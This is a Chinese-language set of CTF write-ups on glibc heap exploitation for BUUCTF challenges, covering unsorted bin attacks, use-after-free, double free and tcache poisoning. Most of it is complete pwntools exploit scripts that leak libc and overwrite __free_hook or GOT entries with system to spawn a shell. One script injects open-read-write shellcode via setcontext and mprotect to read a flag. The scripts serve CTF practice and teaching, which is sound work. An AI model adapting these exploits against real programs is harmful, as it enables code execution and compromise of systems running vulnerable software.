这里首先我们要伪造unsortedbin的bk指向我们要覆盖的值的周围,这里-0x10的原因跟踪源码的时候就懂了
unsorted bin attack 再malloc一个同样大小的块(这里一定要大小一样,这个大小是指实际需要的大小,比如说我们最终大小是0x30,这里可以写0x19~0x28) add(0x28)
跟踪源码 开始跟踪源码 在__libc_calloc里面没什么好看的,主要还是看_int_malloc
_int_malloc 可以看到global_max_fast只是设置成了0x10,也就是MINI_SIZE,这里肯定不会进入fastbin的判断 进入smallbin 由于这个时候的smallbin都是空,所以尝试从unsorted bin里面分配 bck就是我们篡改的指针,因为unsorted bin是fifo,所以会通过bk指针去寻找后面的块 然后check了一下我们最外边这个unsorted bin的size 这里有个判断,会用在里面只有一个unsortedbin的情况,但由于我们篡改了指针,所以跳过 这里会把bck放到main_arena里面去,同时把bck->fd,也就是bck+0x10的地方填成main_arena的地址,也就是unsorted bin attack的结果,任意地址较大的值,而我们这里吧global_max_fast填写的比较大,就可以使用fastbin attack 到这里还没有结束 有个check,size就是我们unsorted bin的总大小,nb是实际需要的大小,这里如果相等就表示我们正好分配完了,也必须要后续处理了,就直接结束,如果不一样呢?
当我们需要分配的size小于unsorted bin大小 如果大小不匹配的话,会把我们这个unsorted bin根据大小尝试放入small bin或者large bin 这里我们就正常的把当前的victim放入到small bins里面去,然后会继续寻找unsorted bin 此时的victim就变成我们刚才伪造的那个地址,但由于那个周围都是0,所以会对victim->size报错 所以要想完成unsorted bin attack,大小也要匹配,匹配了就直接ok
恢复unsorted bin 这里可以看到我们成功的利用了unsorted bin,但可以发现现在无法malloc了,因为我们的unsorted bin结果坏了,我们需要恢复unsroted bin 由于现在fast bin很大,我们基本上很多大小的size都可以进入fastbin 这里其实可以利用数组溢出,来修改main_arena里的fd指针 因为fastbinY在bins的上面,完全可以做到溢出的 这也就是我前面分配0xe8的作用,这个的大小刚好满足
同样的进入_int_free,__libc_free没有看头 进入fast_bin的范围 可以看到通过计算的fb刚好是我们要修改的地方 这里的计算方法就是size//16-2 由于这里的下标是13,所以就是(13+2)*0x10=0xf0 防止double free 这里就是更新我们当前free的chunk的fd 同时替换main_arena的值为当前的chunk地址 可以看到unosrted bin的bk再一次进入到了我们可以控制的范围
uaf jmper_seccon_2016 漏洞比较明显,一个uaf 打longjmp,稍微看一下原来的汇编代码,看看实现 这里需要知道一个key 由于再实际远程可能tls偏移不一定,我们反向泄露 通过泄露加密后的值,然后推算原来的返回地址算出key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 #!/usr/bin/python3 # -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "jmper_seccon_2016" lib_path="" #lib_path="/home/zhou/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64" parm=elf_path #parm=[elf_path,"127.0.0.1","3339"] elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") if lib_path: libc = ELF(f"{lib_path}/libc.so.6") else: libc=elf.libc if len(sys.argv) > 1: remote_ip = "node4.buuoj.cn" remote_port = 26167 io = remote(remote_ip, remote_port) else: if lib_path: io = process(parm,env= {'LD_LIBRARY_PATH': lib_path}) else: io = process(parm) def debug(): global io gdbscript = """ b *0x400884 c x/20xg *0x602030 """ gdb.attach(io, gdbscript=gdbscript) def debug_force(): global io io.close() gdbscript = """ b *0x400884 c """ io=gdb.debug(parm, gdbscript=gdbscript) def add(): sla(b"6. Bye :)\n",b"1") # def free(idx): # sla(b"Choice:\n",b"3") # sla(b"Input the user id:\n",str(idx)) def show_name(idx): sla(b"6. Bye :)\n",b"4") sla(b"ID:",str(idx)) def edit(idx,content): sla(b"6. Bye :)\n",b"2") sla(b"ID:",str(idx)) sa(b"Input name:",content) #溢出,可以修改堆指针 def write(idx,content): sla(b"6. Bye :)\n",b"3") sla(b"ID:",str(idx)) sa(b"Input memo:",content) def show_mem(idx): sla(b"6. Bye :)\n",b"5") sla(b"ID:",str(idx)) def rol(val,k): s=bin(val)[2:] return int(s[k:]+s[:k],2) def ror(val,k): s=bin(val)[2:] return int(s[-k:]+s[:len(s)-k],2) # def convert_str_asmencode(content: str): # out = "" # for i in content: # out = hex(ord(i))[2:] + out # out = "0x" + out # return out #debug_force() add() write(0,b"a"*32+b"\x00") edit(0,b"a"*8+p64(elf.got["puts"])+b"\n") show_name(0) libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-libc.sym["puts"] add() write(1,b"a"*32+b"\x70") edit(1,b"a"*8+p64(0x602038)+b"\n") show_name(1) jmpbuf=u64(rud(b"1.").ljust(8,b"\x00")) add() add() write(3,b"a"*32+b"\x50") edit(3,b"a"*8+p64(jmpbuf+0x38)+b"\n") show_name(3) secret_val=u64(r(8)) secret=ror(secret_val,0x11)^0x400C31 system_addr=libc_base+libc.sym["system"] target_val=rol(system_addr^secret,0x11) add() write(4,b"a"*32+b"\xc0") edit(4,b"a"*8+p64(jmpbuf+0x38)+b"\n") edit(4,p64(target_val)+b"\n") add() write(5,b"a"*32+b"\x30") edit(5,b"a"*8+p64(jmpbuf)+b"\n") edit(5,b"/bin/sh\n") for i in range(25): add() it()
wdb_2018_2nd_Fgo BUUCTF在线评测 (buuoj.cn)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./wdb_2018_2nd_Fgo" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 29192 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " c x/6xw 0x804B050 " "" gdb.attach(io, gdbscript=gdbscript) def add(size,content): sla(b"Your choice:\n" , b"1" ) sla(b"the size of servant's name : \n" ,str(size)) sa(b"ability : " ,content) def free (index): sla(b"Your choice:\n" , b"2" ) sla(b"Index : \n" ,str(index)) def show(index): sla(b"Your choice:\n" , b"3" ) sla(b"Index :" ,str(index)) add(0x10 ,b"a" ) add(0x10 ,b"a" ) free (0 )free (1 )backdoor=0x8048956 add(0x8 ,p32(backdoor)) show(0 ) it()
pwnable_echo2 BUUCTF在线评测 (buuoj.cn)
easy uaf
1 2 3 4 5 6 7 8 9 10 11 sla(b"name? : " , b"a" ) sla(b"> " , b"2" ) rl() sl(b"%7$p" ) libc_base = int (rld(), 16 ) - libc.sym["puts" ] - 362 sla(b"> " , b"4" ) sla(b"exit? (y/n)" , b"n" ) sla(b"> " , b"3" ) s(b"a" * 0x10 + b"b" * 0x8 + p64(libc_base + one_gadget[2 ])) sla(b"> " , b"2" ) it()
isitdtu2019_iz_heap_lv1 BUUCTF在线评测
比较巧妙的一道题目,漏洞出现在free函数,里面数组小标越界了,由于可以控制的bss碍着保存堆地址,所以我们可以在bss里面伪造堆地址达到uaf的效果
同时注意
tcache不会检查周围的堆块
unsorted bin会检查当前的prev_inuse,后面一块的size,以及后后一块的prev_inuse
所以最方便的伪造就是
当前unsorted bin,下一个完整的块,加上一个p8(1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./iz_heap_lv1" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 25360 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b c x/30xg 0x602060 " "" gdb.attach(io, gdbscript=gdbscript) # 0 ~128 def add(size: int , content: bytes): sla(b"Choice: \n" , b"1" ) sa(b"Enter size: " , str(size).encode()) sa(b"Enter data: " , content) def edit(index: int , content: bytes): sla(b"Choice: \n" , b"2" ) sa(b"Enter index: " , str(index).encode()) sa(b"input your data\n" , content) # 清空了 def free (index: int ): sla(b"Choice: \n" , b"3" ) sa(b"Enter index: " , str(index).encode()) def show(content: bytes): sla(b"Choice: \n" , b"4" ) sa(b"edit: (Y/N)" , b"Y" ) sa(b"Input name: " , content) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out sa( b"nput name: " , p64(0x602120 ) + p64(0 ) * 2 + p64(0x91 ) + p64(0 ) * 17 + p64(0x21 ) + p64(0 ) * 3 + p8(1 ), ) for i in range(7 ): add(0x88 , b"a" * 0x18 ) for i in range(7 ): free (i) free (20 )show(b"a" * 0x1F + b"b" ) ru(b"b" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7FF55066ECA0 + 0x7FF550283000 show(p64(0 ) * 3 + p64(0x91 )) add(0x78 , b"a" ) add(0x18 , b"a" ) show(p64(0x602120 ) + p64(0 ) * 2 + p64(0x21 )) free (20 )free_hook_addr = libc_base + libc.sym["__free_hook" ] show(p64(0 ) * 3 + p64(0x21 ) + p64(free_hook_addr)) add(0x18 , b"/bin/sh\0" ) add(0x18 , p64(libc_base + libc.sym["system" ])) free (2 )it()
gyctf_2020_document BUUCTF在线评测
其实题目总体还好,不算特别复杂,就是free后指针没有清零,泄露libc方式也比较直接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./gyctf_2020_document" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 27702 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " c x/6xg $rebase(0x202060) " "" gdb.attach(io, gdbscript=gdbscript) # <=4096 无洞 def add(name: bytes, sex: bytes, content: bytes): sa(b"choice : \n" , b"1" ) sa(b"name\n" , name) sa(b"sex\n" , sex) sa(b"information\n" , content) def edit(index: int , content: bytes): sa(b"choice : \n" , b"3" ) sa(b"index : \n" , str(index).encode()) sa(b"change sex?\n" , b"n" ) sa(b"information\n" , content) # 没有清空 def free (index: int ): sa(b"choice : \n" , b"4" ) sa(b"index : \n" , str(index).encode()) def show(index: int ): sa(b"choice : \n" , b"2" ) sa(b"index : \n" , str(index).encode()) add(b"a" * 8 , b"1" , b"a" * 112 ) # 0 add(b"/bin/sh\0" , b"1" , b"a" * 112 ) # 1 free (0 )show(0 ) libc_base = u64(rld().ljust(8 , b"\0" )) + 0x7FA561345000 - 0x7FA561709B78 add(b"a" * 8 , b"1" , b"a" * 112 ) # 2 add(b"a" * 8 , b"1" , b"a" * 112 ) edit( 0 , p64(0 ) + p64(0x21 ) + p64(libc_base + libc.sym["__free_hook" ] - 0x10 ) + p64(1 ) + p64(0 ) * 1 + p64(0x51 ) + b"a" * (112 - 8 * 6 ), ) edit(3 , p64(libc_base + libc.sym["system" ]) + b"a" * (112 - 8 )) free (1 )# debug() it() exit (0 )
double free actf_2020_scp_foundation_secret 题目还不错,就是free没清空 这里我利用got表覆盖 因为size只check低4字节,而且不管你符号位,比如说0x40,0x4f都可以,而且也不check prev_inuse这个内容,所以可以覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 #!/usr/bin/python3 # -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./actf_2020_scp_foundation_secret" parm=elf_path elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") libc = elf.libc if len(sys.argv) > 1: remote_ip = "node4.buuoj.cn" remote_port =26198 io = remote(remote_ip, remote_port) else: io = process(parm) def debug(): global io gdbscript = """ b system c x/10xg 0x603120 """ gdb.attach(io, gdbscript=gdbscript) def debug_force(): global io io.close() gdbscript = """ set follow-fork-mode parent b fini c """ io=gdb.debug(parm, gdbscript=gdbscript) #112 def add(size,content,len,desc): sla(b"> Now please tell me what you want to do :",b"2") sla(b"> SCP name's length : ",str(size)) sa(b"> SCP name : ",content) sla(b"> SCP description's length : ",str(len)) sa(b"> SCP description : ",desc) #没有清空 def free(idx): sla(b"> Now please tell me what you want to do :",b"4") sla(b"> SCP project ID : ",str(idx)) def show(idx): sla(b"> Now please tell me what you want to do :",b"5") sla(b"> SCP project ID : ",str(idx)) sa(b"> Username:",b"a"*5) sa(b"> Password:",b"For_the_glory_of_Brunhild") add(0x58,b"a",0x58,b"b") add(0x58,b"a",0x28,b"b") add(0x58,b"a",0x58,b"b") free(0) free(1) free(0) add(0x28,p64(0)+p64(0x21),0x18,b"\x70") add(0x58,b"\x50",0x58,p64(0)+p64(0x61)) add(0x58,b"\x00",0x58,p64(0)*9+p64(0xb1)) free(1) show(1) ru(b"SCP's description is ") libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7fec22b9f000-0x7fec22f63b78 add(0x58,b"a",0x28,b"a") free(0) free(1) free(0) add(0x28,p64(0)+p64(0x21),0x58,p64(elf.got["free"]-0x1e)) add(0x58,b"/bin/sh\0",0x58,b"a") add(0x58,b"a"*0xe+p64(libc_base+libc.sym["system"]),0x18,b"a") free(1) it()
[HarekazeCTF2019]Harekaze Note https://buuoj.cn/challenges#[HarekazeCTF2019]Harekaze%20Note 题目不错 29的libc 函数没啥问题 他有一个titile的0x28结构体,和自定义的content结构体,free的时候没有清空title里面保存的content指针,导致可以double free 这个题目我做复杂了 比如说
1 2 3 4 5 6 7 8 9 add(b"a" ) edit(b"a" ,0x38 ,b"a" ) free(b"a" ) add(b"a" ) add(b"c" ) edit(b"c" ,0x38 ,b"c" ) free(b"c" ) free(b"a" ) 0x38 被free了两次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 from pwn import *it = lambda : io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True ) r = lambda x: io.recv(x) rl = lambda : io.recvline() rld = lambda : io.recvline(keepends=False ) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./note" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len (sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =27993 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug (): global io gdbscript = """ b *$rebase(0x1573) c x/xw $rebase(0x4060) x/2xg $rebase(0x4090) """ gdb.attach(io, gdbscript=gdbscript) def add (title ): sla(b"Choice: " , b"1" ) sla(b"Title: " ,title) def free (title ): sla(b"Choice: " , b"4" ) sla(b"Title of note to delete: " ,title) def show (title ): sla(b"Choice: " , b"3" ) sla(b"itle of note to show content: " ,title) def edit (title,size,content ): sla(b"Choice: " , b"2" ) sla(b"Title of note to write content: " ,title) sla(b"Size of content: " ,str (size)) sla(b"Content: " ,content) def convert_str_asmencode (content: str ): out = "" for i in content: out = hex (ord (i))[2 :] + out out = "0x" + out return out for i in range (6 ): add(str (i)) edit(str (i),0x50 ,b"a" ) add(str (6 )) edit(str (6 ),0x40 ,b"a" ) add(str (7 )) edit(str (7 ),0x30 ,b"a" ) add(str (8 )) add(str (9 )) edit(str (8 ),0x40 ,b"a" ) add(b"a" ) add(b"b" ) edit(b"a" ,0x28 ,b"a" ) free(b"a" ) add(b"a" ) add(b"c" ) for i in range (10 ,20 ): add(str (i)) add(b"" ) edit(str (i),0x50 ,b"a" ) for i in range (20 ,30 ): add(str (i)) for i in range (7 ): free(str (i)) free(b"c" ) free(b"b" ) free(b"a" ) for i in range (8 ): add(str (i)) add(b"" ) add(str (9 )) add(str (10 )) add(p64(0 )+p16(0x441 )) free(str (8 )) edit(str (20 ),0x38 ,b"a" ) edit(str (21 ),0x38 ,b"a" ) edit(str (22 ),0x38 ,b"a" ) add(str (1 )) edit(str (23 ),0x18 ,b"a" ) add(b"test" ) add(str (8 )) show(b"test" ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))+0x7fc24e188000 -0x7fc24e36cca0 add(b"11" ) add(b"12" ) add(b"test2" .ljust(8 ,b"\0" )+p32(0x31 )) edit(b"11" ,0x18 ,b"a" ) add(b"13" ) show(b"test2" ) heap_addr=u64(rld().ljust(8 ,b"\0" )) print (hex (heap_addr))add(b"1" ) add(b"2" ) add(b"3" ) add(b"4" ) add(b"5" ) edit(b"5" ,0x10 ,b"a" ) add(b"a" ) add(b"d" ) edit(b"a" ,0x28 ,b"a" ) free(b"a" ) add(b"c" ) add(b"a" ) free(b"11" ) free(b"a" ) free(b"7" ) free(b"c" ) target_haep_addr=heap_addr-0x1e0 +0x210 -0x30 add(b"/bin/sh\0" ) add(p64(target_haep_addr)) add(b"aa" ) add(b"a" ) edit(b"a" ,0x28 ,p64(0 )+p64(heap_addr+0x50 )+p64(0 )+p64(0x21 )+p64(libc_base+libc.sym["__free_hook" ])) edit(b"9" ,0x18 ,b"a" ) edit(b"8" ,0x18 ,p64(libc_base+libc.sym["system" ])) free(b"/bin/sh\0" ) it()
这里我做的比较复杂 首先考虑到 libc 2.29 check tcache double free 所以填满tcache,然后fast bin double 但是第一次打完以后,其实tcache坏掉了 fastbin会checkSize,但是tcache不check size 我这里利用泄露堆地址。free(0x18)的content结构体 然后利用上面相邻的0x28的结构体进行溢出,修改free tcache的ptr,伪造tcache指向free_hook然后get shell
rctf2018_rnote3 https://buuoj.cn/challenges#rctf2018_rnote3 比较巧妙的利用 由于ptr在下一次使用的时候没有被清零,如果我们连续两次调用free,那么下一次的ptr其实还是栈上之前保存的内容,导致double free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 from pwn import *from time import sleepit = lambda : io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True ) r = lambda x: io.recv(x) rl = lambda : io.recvline() rld = lambda : io.recvline(keepends=False ) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./RNote3" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len (sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =26463 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug (): global io gdbscript = """ b *$rebase(0xCD1) c x/xg $rebase(0x202040) x/20xg $rebase(0x202060) """ gdb.attach(io, gdbscript=gdbscript) def add (title,size,data ): sl( b"1" ) sla(b"please input title: " ,title) sla(b"please input content size: " ,str (size)) sla(b"please input content: " ,data) def free (title ): sl(b"4" ) sla(b"please input note title: " ,title) def show (title ): sl( b"2" ) sla(b"please input note title: " ,title) def edit (title,content ): sl(b"3" ) sla(b"please input note title: " ,title) sla(b"please input new content: " ,content) def convert_str_asmencode (content: str ): out = "" for i in content: out = hex (ord (i))[2 :] + out out = "0x" + out return out for i in range (4 ): add(b"a" *(i+1 ),0x100 ,b"a" ) free(b"a" ) free(b"a" ) add(b"" ,0x100 ,b"" ) add(b"" ,0x100 ,b"" ) add(b"" ,0x100 ,p64(0 )*11 +p64(0x4c1 )+b"a" .ljust(0x17 ,b"\0" )) free(b"a" ) add(b"a" ,0x88 ,b"a" ) add(b"a" ,0x78 ,b"a" ) show(b"aa" ) ru(b"note content: " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))+0x7f5bc3347000 -0x7f5bc3732ca0 free(b"a" ) free(b"c" ) free_hook_addr=libc_base+libc.sym["__free_hook" ] add(p32(free_hook_addr&0xffffffff )+p16((free_hook_addr>>32 )&0xffff ),0x18 ,b"/bin/sh\0" ) system_addr=libc_base+libc.sym["system" ] add(p32(system_addr&0xffffffff )+p16((system_addr>>32 )&0xffff ),0x28 ,b"" ) free(b"/bin/sh" ) it()
qwb2018_slient2 BUUCTF在线评测 (buuoj.cn)
改free的got为system plt
额打远程需要加上sleep
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./silent2" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =28322 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " c x/10xg 0x6020C0 " "" gdb.attach(io, gdbscript=gdbscript) sleep(1 ) #0x10 ,或者0x80 以上 def add(size,content): sl(b"1" ) sleep(0.2 ) sl(str(size)) sleep(0.2 ) s(content) sleep(0.2 ) #清零了 def free (index): sl(b"2" ) sleep(0.2 ) sl(str(index)) sleep(0.2 ) #没有溢出 ru(b"\n" ) add(0x10 ,b"a" ) free (0 )free (0 )add(0x10 ,p64(elf.got["free" ])) add(0x10 ,b"/bin/sh" ) add(0x10 ,p64(elf.plt["system" ])) free (1 )#debug() it()
ciscn_2019_nw_4 BUUCTF在线评测 (buuoj.cn)
开了沙盒,而且只能改free_hook
那么就直接setcontext+53加上orw+mprotect 沙盒的double free,修改free_hook为setcontextt然后mrpotect然后shellcode 不同版本的setcontext偏移不一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 #!/usr/bin/python3 # -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ciscn_nw_4" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =27342 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *0x4009B7 c x/10xg 0x6020C0 x/10xg 0x602040 " "" gdb.attach(io, gdbscript=gdbscript) def add(size,content): sla(b">> " , b"1" ) sla(b"size?\n" ,str(size)) sa(b"content?\n" ,content) def free (index): sla(b">> " , b"2" ) sla(b"index ?\n" ,str(index)) def show(index): sla(b">> " , b"3" ) sla(b"index ?\n" ,str(index)) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out sla(b"what is your name? \n" ,b"a" ) add(0x418 ,b"a" ) add(0x18 ,b"a" ) free (0 )show(0 ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-0x7fa0930f4ca0 +0x7fa092d09000 free (1 )free (1 )show(1 ) heap_addr=u64(rld().ljust(8 ,b"\0" ))-0x420 +0xb0 #rdi 0x68 #rsi 0x70 #rdx 0x88 #rsp 0xa0 #rcx 0xa8 payload=b"0" *0x68 +p64(heap_addr&0xfffffffffffff000 )+p64(0x1000 )+p64(0 )*2 +p64(7 )+p64(0 )*2 +p64(heap_addr+8 )+p64(libc_base+libc.sym["mprotect" ]) shellcode=f"" " xor rsi,rsi; xor rdx,rdx; push rdx; mov rax,{convert_str_asmencode(" flag")}; push rax; mov rdi,rsp; xor rax,rax; mov al,2; syscall; mov rdi,rax; mov dl,0x40; mov rsi,rsp mov al,0; syscall; xor rdi,rdi; mov al,1; syscall; " "" payload+=p64(0 )+p64(heap_addr+0x10 )+asm (shellcode) add(len(payload),payload) add(0x18 ,p64(libc_base+libc.sym["__free_hook" ])) add(0x18 ,b"/bin/sh\0" ) add(0x18 ,p64(libc_base+libc.sym["setcontext" ]+53 )) sleep(1 ) free (2 )it()
ciscn_2019_s_2 BUUCTF在线评测 (buuoj.cn)
还不错,利用realloc构造double free
